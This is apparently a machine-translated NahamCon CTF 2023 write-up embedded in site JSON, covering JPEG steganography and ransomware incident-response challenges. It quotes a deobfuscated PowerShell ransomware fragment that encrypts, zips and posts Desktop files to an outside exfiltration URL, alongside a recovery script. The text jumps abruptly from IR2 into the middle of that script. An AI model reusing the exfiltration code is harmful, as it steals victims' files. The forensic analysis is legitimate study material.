{"componentChunkName":"component---src-templates-post-template-js","path":"/ctf-nahamCon-2023-en","result":{"data":{"markdownRemark":{"id":"7bc52c59-8137-5d7b-b62e-88ae81530df2","html":"
\n

This page has been machine-translated from the original page.

\n
\n

I participated in NahamCon CTF 2023 with team 0nePadding and finished 74th out of 2522 teams.

\n

\n \n \n \n \n \n \n \n \n

\n

Uploading the image to Aperi’Solve returned nothing useful.

\n

So I tried stegoveritas:

\n
# Install stegoveritas\npip3 install stegoveritas\nstegoveritas_install_deps\n\n# Analyze with stegoveritas\nstegoveritas tiny-little-fibers.jpg
\n

Reference: bannsec/stegoVeritas: Yet another Stego Tool

\n

Reading the binary of the file saved as trailing_data.bin, I was able to retrieve the Flag string (likely manipulated to make it harder to find with strings):

\n

\n \n \n \n \n \n \n \n \n

\n

As for how trailing_data.bin was extracted — reading the tool’s source code shows it walks through JPEG markers, and once it finds \\xff\\xda (Start of Scan), it finds the range from there to \\xff\\xd9 (end marker) and writes any trailing data after the end marker to a file:

\n
# These markers don't have a length attribute\nnonLenMarkers = [ b'\\xff\\xd8', b'\\xff\\x01', b'\\xffd0', b'\\xffd1', b'\\xffd2', b'\\xffd3', b'\\xffd4', b'\\xffd5', b'\\xffd6', b'\\xffd7' ]\n\n# Open up the file\nwith open(image.veritas.file_name,\"rb\") as myFile:\n    steg = myFile.read()\n\nwhile True:\n    # Grab the current header\n    hdr = steg[i:i+2]\n\n    # if Start of Image, Temporary Private, Restart, things that don't have an associated length field\n    if hdr in nonLenMarkers:\n            # Just move to the next marker\n            i = i + 2\n            continue\n\n    # If we've found our way to the end of the jpeg\n    if hdr == b'\\xff\\xd9':\n            #print(\"Made it to the end!\")\n            # Increment 2 so we can check the length\n            i += 2\n            break\n\n    # Unpack the length field\n    ln = unpack(\">H\",steg[i+2:i+4])[0]\n\n    # print(\"Found Length: {0}\".format(ln))\n\n    # Update the index with the known length\n    i = i+ln+2\n\n    # When we hit scan data, we scan to the end of the format\n    if hdr == b'\\xff\\xda':\n        #print(\"Start of Scan data\")\n        # Find the end marker\n        i += steg[i:].index(b'\\xff\\xd9')\n\n    # Check for trailers\n    if i != len(steg):\n        print(\"Trailing Data Discovered... Saving\")\n        print(steg[i:])\n        # Save it off for reference\n        with open(output_file, \"wb\") as outFile:\n            outFile.write(steg[i:])
\n

Reference: stegoVeritas/stegoveritas/modules/image/analysis/trailing.py at master · bannsec/stegoVeritas · GitHub

\n

The \\xff\\xda marker is the SOS (Start of Scan) marker, which signals the beginning of Huffman-encoded compressed image data (with \\xff\\xd9 as the end-of-image marker).

\n

While a JPEG normally contains a single SOS segment, it is possible to embed multiple SOS segments, and this is apparently used as a steganography technique.

\n

In this challenge, the Flag was hidden in the trailing data after the SOS segment.

\n

IR (Forensic)

\n

IR1

\n
\n

Can you find the hidden file on this VM?

\n

This group of challenges uses the same single file download for each challenge. This is a very large file download (13GB) and will take some time to download.

\n
\n

I started the provided OVA file in VirtualBox, but couldn’t log in because I didn’t know the password. (Apparently the password was publicly available on Discord — I wish it had been in the problem description!)

\n

Instead, I extracted the OVA file (which is actually a tar archive), converted the resulting VMDK file to VHDX with qemu-img, and mounted it locally to inspect the files.

\n
# Rename and extract the OVA, then convert to VHDX\nmv nahamcon.ova nahamcon.tar\ntar -xvf nahamcon.tar\nqemu-img convert -f vmdk -O vhdx \"Nahamcon\\ Forensics\\ Challenge-disk001.vmdk\" out.vhdx
\n

Mounting out.vhdx on a local Windows machine lets you browse the victim machine’s files from the host Explorer.

\n

Exploring the victim’s folders revealed a hidden folder inside the user profile, which contained a ransom note. The first Flag was embedded in that ransom note.

\n

IR2

\n
\n

Can you figure out how the malware got onto the system?

\n
\n

This challenge asked us to determine how the malware was delivered.

\n

I analyzed the mounted virtual hard disk’s event logs with Hayabusa, but could not find any event that clearly pointed to the malware infection vector.

\n
.\\hayabusa-2.5.1-win-x64.exe csv-timeline -d \"E:\\Windows\\System32\\winevt\\Logs\" -o result.csv
\n

After browsing through all the files and installed applications without success, it turned out the answer could be identified from an email visible in the UWP mail client application on the victim machine.

\n

\n \n \n$user = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name.Split(\"\\\")[-1]\nencryptFiles(\"C:\\Users\\\"+$user+\"\\Desktop\")\nAdd-Type -assembly \"system.io.compression.filesystem\"\n[io.compression.zipfile]::CreateFromDirectory(\"C:\\Users\\\"+$user+\"\\Desktop\", \"C:\\Users\\\"+$user+\"\\Downloads\\Desktop.zip\")\n$zipFileBytes = Get-Content -Path (\"C:\\Users\\\"+$user+\"\\Downloads\\Desktop.zip\") -Raw -Encoding Byte\n$zipFileData = [Convert]::ToBase64String($zipFileBytes)\n$body = ConvertTo-Json -InputObject @{file=$zipFileData}\nInvoke-Webrequest -Method Post -Uri \"https://www.thepowershellhacker.com/exfiltration\" -Body $body\nRemove-Item -LiteralPath (\"C:\\Users\\\"+$user+\"\\Downloads\\Desktop.zip\")\n

The Flag hardcoded in plaintext in this script is the third Flag.

\n

IR4

\n
\n

Where is the data being exfiltrated? Please give the MD5 hash of the URL with the usual wrapper of flag{}.

\n
\n

Looking at the deobfuscated script from the previous step, the malware exfiltrates data to https://www[.]thepowershellhacker[.]com/exfiltration.

\n

The MD5 hash of that URL, wrapped in flag{}, is the fourth Flag.

\n

IR5

\n
\n

Can you please recover our files?

\n
\n

Reading the deobfuscated malware script shows that encryptFiles encrypts all files on the Desktop.

\n

Looking more closely, it uses AES in CBC mode with the key 7h3_k3y_70_unl0ck_4ll_7h3_f1l35!.

\n

PKCS7 is the padding scheme used to pad plaintext to a multiple of the 16-byte AES block size.

\n

The encryption process uses the above key and a randomly generated IV, and prepends the IV’s size (4 bytes) followed by the IV bytes themselves to each encrypted file.

\n

Therefore, we can recover each file by extracting its IV from the beginning of the encrypted file and decrypting with AES-CBC using the known key.

\n

The following script was used for decryption:

\n
$baseDirectory = \"E:\\Users\\IEUser\\Desktop\"\n\nforeach($File in (Get-ChildItem $baseDirectory -Recurse -File)){\n    if ($File.extension -eq \".enc\"){\n        $SourceFile = $File.FullName\n        $DestinationFile = $File.FullName.Replace(\".enc\",\"\")\n        $DestinationFile\n\n        $FileStreamReader = New-Object System.IO.FileStream($SourceFile, [System.IO.FileMode]::Open)\n        $FileStreamWriter = New-Object System.IO.FileStream($DestinationFile, [System.IO.FileMode]::Create)\n\n        $cipher = [System.Security.Cryptography.SymmetricAlgorithm]::Create(\"AES\")\n        $cipher.key = [System.Text.Encoding]::UTF8.GetBytes(\"7h3_k3y_70_unl0ck_4ll_7h3_f1l35!\")\n        $cipher.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7\n\n        $IVLengthBuffer = New-Object Byte[] 4\n        $FileStreamReader.Read($IVLengthBuffer, 0, 4)\n\n        $IVLength = [System.BitConverter]::ToInt32($IVLengthBuffer, 0)\n        $IVBuffer = New-Object Byte[] $IVLength\n\n        $FileStreamReader.Read($IVBuffer, 0, $IVLength)\n        $cipher.IV = $IVBuffer\n\n        $Transform = $cipher.CreateDecryptor()\n        $CryptoStream = New-Object System.Security.Cryptography.CryptoStream($FileStreamWriter, $Transform, [System.Security.Cryptography.CryptoStreamMode]::Write)\n        $FileStreamReader.CopyTo($CryptoStream)\n        $CryptoStream.FlushFinalBlock()\n\n        $CryptoStream.Close()\n        $FileStreamReader.Close()\n        $FileStreamWriter.Close()\n    }\n}
\n

The IV size is stored in the first 4 bytes of each encrypted file; this was used to extract the IV and decrypt the files.

\n

Inspecting the recovered files, I found a file named NexGen Innovations.pdf with a small Flag printed in the lower-left corner.

\n

\n \n \n \n \n \n \n \n \n

\n

Wrap-up

\n

The Rev challenges this time were inexplicably hard and I couldn’t solve any of them.

\n

Rev has felt stagnant lately — I want to get to the point where I can tackle higher-difficulty problems.

","fields":{"slug":"/ctf-nahamCon-2023-en","tagSlugs":["/tag/ctf-en/","/tag/forensic-en/","/tag/english/"]},"frontmatter":{"date":"2023-06-18","description":"NahamCon 2023 CTF Writeup.","tags":["CTF (en)","Forensic (en)","English"],"title":"NahamCon 2023 Writeup","socialImage":{"publicURL":"/static/d143969d6f461311b81cdc93a5e43789/ctf-nahamCon-2023.png"}}}},"pageContext":{"slug":"/ctf-nahamCon-2023-en"}},"staticQueryHashes":["251939775","401334301","825871152"]}